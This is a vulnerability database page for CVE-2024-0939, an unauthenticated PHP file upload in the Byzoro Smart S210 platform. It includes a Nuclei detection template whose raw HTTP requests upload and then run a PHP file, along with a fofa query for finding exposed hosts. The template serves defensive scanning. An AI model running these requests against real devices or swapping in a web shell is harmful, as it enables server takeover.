| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2024-0939 | 26 Jan 202420:32 | – | circl | |
| Beijing Baichuo Smart S210 Management Platform Code Issue Vulnerability | 26 Jan 202400:00 | – | cnnvd | |
| CVE-2024-0939 | 26 Jan 202418:31 | – | cve | |
| CVE-2024-0939 Byzoro Smart S210 Management Platform uploadfile.php unrestricted upload | 26 Jan 202418:31 | – | cvelist | |
| CVE-2024-0939 | 26 Jan 202419:15 | – | nvd | |
| CVE-2024-0939 | 26 Jan 202419:15 | – | osv | |
| Out-of-bounds | 26 Jan 202419:15 | – | prion | |
| PT-2024-15924 · Beijing Baichuo · Beijing Baichuo Smart S210 Management Platform | 26 Jan 202400:00 | – | ptsecurity | |
| CVE-2024-0939 | 23 May 202510:09 | – | redhatcve | |
| CVE-2024-0939 Byzoro Smart S210 Management Platform uploadfile.php unrestricted upload | 26 Jan 202418:31 | – | vulnrichment |
| Source | Link |
|---|---|
| nvd | www.nvd.nist.gov/vuln/detail/CVE-2024-0939 |
| vuldb | www.vuldb.com/ |
| vuldb | www.vuldb.com/ |
| vuldb | www.vuldb.com/ |
| github | www.github.com/tanjiti/sec_profile |
id: CVE-2024-0939
info:
name: Smart S210 Management Platform - Arbitary File Upload
author: DhiyaneshDk
severity: critical
description: |
A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.
impact: |
Unauthenticated attackers can upload arbitrary PHP files through the uploadfile.php component and execute malicious code on the server, potentially compromising the entire Smart S210 management platform and connected IoT devices.
remediation: |
Update Byzoro Smart S210 firmware to a version newer than 20240117 that validates file types, restricts executable uploads, and implements proper access controls on the upload functionality.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-0939
- https://vuldb.com/?ctiid.252184
- https://vuldb.com/?id.252184
- https://vuldb.com/?submit.269268
- https://github.com/tanjiti/sec_profile
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-0939
cwe-id: CWE-434
epss-score: 0.43777
epss-percentile: 0.98589
cpe: cpe:2.3:o:byzoro:smart_s210_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: byzoro
product: smart_s210_firmware
fofa-query: body="Smart管理平台"
tags: cve,cve2024,smart,file-upload,intrusive,rce,vuln
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
num1: "{{rand_int(800000, 999999)}}"
num2: "{{rand_int(800000, 999999)}}"
result: "{{to_number(num1)*to_number(num2)}}"
http:
- raw:
- |
POST /Tool/uploadfile.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywnsogfin
Accept-Encoding: gzip, deflate, br
------WebKitFormBoundarywnsogfin
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
<?php print({{num1}}*{{num2}}); ?>
------WebKitFormBoundarywnsogfin
Content-Disposition: form-data; name="txt_path"
/home/{{filename}}.php
------WebKitFormBoundarywnsogfin--
- |
GET /home/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '{{result}}'
- type: status
status:
- 200
# digest: 4b0a00483046022100bb719779d6e64bb6fd160689d980417c2a31557f9b462a31967f561fb2639547022100e45fa8ff005ff4172f635207cb0e8bdfb5739e79630b9b6349f5866c146b09fe:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation